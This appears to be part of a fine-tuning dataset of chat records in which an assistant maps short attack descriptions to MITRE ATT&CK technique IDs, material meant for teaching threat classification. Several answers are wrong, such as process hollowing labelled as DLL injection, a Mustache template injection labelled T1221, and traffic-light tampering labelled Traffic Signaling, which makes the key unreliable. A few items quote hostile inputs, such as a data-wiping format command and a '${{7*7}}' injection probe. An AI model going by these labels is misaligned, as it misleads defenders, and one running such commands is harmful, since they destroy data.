        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the Security Support Provider mechanism by inserting a malicious DLL into System32\\ssps."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with a shared network printer driver, causing it to execute a payload on any system that installs the driver."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor modifies the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce registry key with a command to launch its payload."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape the organization’s public website and job postings to identify which employees hold critical positions such as network engineers and security managers."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious request includes \"${{7*7}}\" which is processed by the application's Mustache rendering logic, resulting in execution of unintended template expressions."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with macOS Time Machine backups by removing backup files and disabling the backup daemon, effectively inhibiting recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker authenticates to the victim's Office 365 account and uses the SharePoint API to harvest confidential PDFs from multiple team sites."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripts a curl command to pull email messages from the victim's webmail interface."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers acquire a compromised domain that was previously used for a phishing campaign."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits the municipal traffic management API to alter signal timings, creating congestion that masks data exfiltration activities."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential stealer sends hashed passwords in base64 within SSH traffic to an external host."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware configures a forward proxy on a victim's internal network to tunnel C2 traffic through trusted hosts."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging stolen password hashes, the malicious actor logs into network resources, bypassing password entry."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group uses Process Hollowing with a malicious DLL payload to stealthily run code inside a benign process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor alters BIOS settings to disable power management features, preventing automatic sleep."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware rewrites the NTFS $STANDARD_INFORMATION attribute to modify file creation and last write times."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors set up a reverse RDP tunnel to bypass the firewall and gain persistent access to the internal network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload opens the /dev/sda device on Linux and streams its contents to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removes entries from the Linux audit logs and stops auditd from tracking command execution."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deploying custom Python scripts to actively discover hosts and services within an internal network."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repeatedly forces a victim to approve MFA push notifications until one is accepted, allowing unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious attachment is a .rtf file exploiting a vulnerability in the word processor, allowing the attacker to drop a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a Python script to enumerate user credentials on the system."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use Outlook custom forms to drop PowerShell payloads onto compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator uses RDP with stolen admin credentials to bypass firewall restrictions."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the group distributes a hidden executable that replicates to any attached CD-ROM or DVD for data staging."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uploads stolen data to a malicious remote web server using HTTP POST, and receives commands via the same one-way channel."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages DHCP starvation followed by DHCP spoofing, overwhelming legitimate servers and then issuing rogue DHCP leases to victims."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware records video from the webcam during idle periods and stores the footage locally."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary reads the process list using the CreateToolhelp32Snapshot function on the victim endpoint."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses built‑in Windows utilities to enumerate and export LSA secret entries from the registry."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the HKCU\\Software\\Microsoft\\Office\\Word\\Options registry key to load a malicious add‑in on Word launch."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit module queries the victim’s firewall for a list of permitted IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden malicious container is deployed via a compromised Helm chart, allowing the attacker to execute commands on the cluster."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the NetworkProvider.dll registration to inject code that captures clear‑text passwords during logon."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops an encoded payload and then runs a shell script to base64‑decode it prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder employs a valid local account on a Windows system to bypass multi-factor authentication and execute commands."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake PDF invoice is emailed to the victim, and opening it triggers an embedded JavaScript that asks the user to enable a vulnerable plugin."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employed the \"at\" utility to set a one‑time execution of a credential‑dumping tool on the target host."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group configures a transparent proxy on a compromised VPN gateway to relay data between internal segments."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors wrap stolen data in a custom JSON Web Token with a proprietary signing algorithm to obscure its contents."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group uses the Windows Control Panel executable as a living-off-the-land binary to run a C2 beacon."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker runs a script that reads credentials from a breached CSV file and attempts to authenticate to a university's student portal, iterating over each pair until success."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a rogue FTP server to receive exfiltrated logs from infected machines."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains API keys and secret tokens from source code repositories and leverages them for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software captures clipboard contents whenever a user copies passwords or credit card numbers."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor drops a counterfeit .dylib that matches the name of a legitimate library, causing the victim application to inadvertently execute the attacker’s payload."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses LDAP commands to add a new user object to Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a packed executable created with UPX to hide malicious code."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an insider attack, the employee runs \"format E: /FS:NTFS /P:1\" to securely delete all data on the external drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs \"mmc.exe /c malicious.msc\" to trigger the execution of a script that downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs the 'gzip' utility on collected data to reduce its size before sending it over the network."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker inserts NOP sleds and filler data throughout a malicious binary to obscure the actual malicious code sections."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool alters the security suite's UI configuration to hide warning dialogs, effectively blocking any visual indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up a cron job to periodically upload exfiltrated data to an attacker-controlled FTP site."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the intruder removes all created persistence entries, including service registrations and startup folder shortcuts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script performs a key exchange using asymmetric cryptography to secure its command and control link."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the AppInit_DLLs registry key to force a DLL to load into every user‑mode process at startup."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the SSH private key stored on a compromised host, the threat actor accessed a critical backend server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using publicly exposed SNMP services, the attacker sends crafted requests with the victim's address spoofed, causing large SNMP reply packets to inundate the target."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware probes the system for virtual machine registry entries (e.g., HKLM\\SOFTWARE\\VirtualBox) to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits weak file permissions on a .msi installer, replaces the original payload with malicious code, and triggers execution during software deployment."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit Mavinject to proxy their malicious code through a signed system binary, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing password hashes, the actor writes them to a concealed file in a staging folder on the host."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a recent breach, the threat group renamed a ransomware executable to \"readme.png\" so that users would mistakenly open the image, triggering the attack."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware intercepted the key exchange and substituted a short 56‑bit DES key, enabling easy brute‑force."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies the registry to turn off the Volume Shadow Copy service and removes backup snapshots, preventing system restoration."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses token impersonation to assume the identity of a domain administrator by crafting a new access token from a captured security identifier."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Windows Time service by inserting a malicious time provider that executes their payload during logon."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is carried out by reading the Linux password files /etc/passwd and /etc/shadow to obtain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited misconfigured container orchestration permissions to run arbitrary commands via the container's admin interface."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a worm that spreads across the network, encrypting shared folder contents and leaving a ransom demand in each affected location."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload stolen files to a malicious Dropbox account using the victim's credentials."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases off‑the‑shelf ransomware payloads from underground markets."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware utilizes Asynchronous Procedure Call injection to load and execute a payload inside a trusted Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a previously compromised virtual private server to relay malicious traffic and hide their origin."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
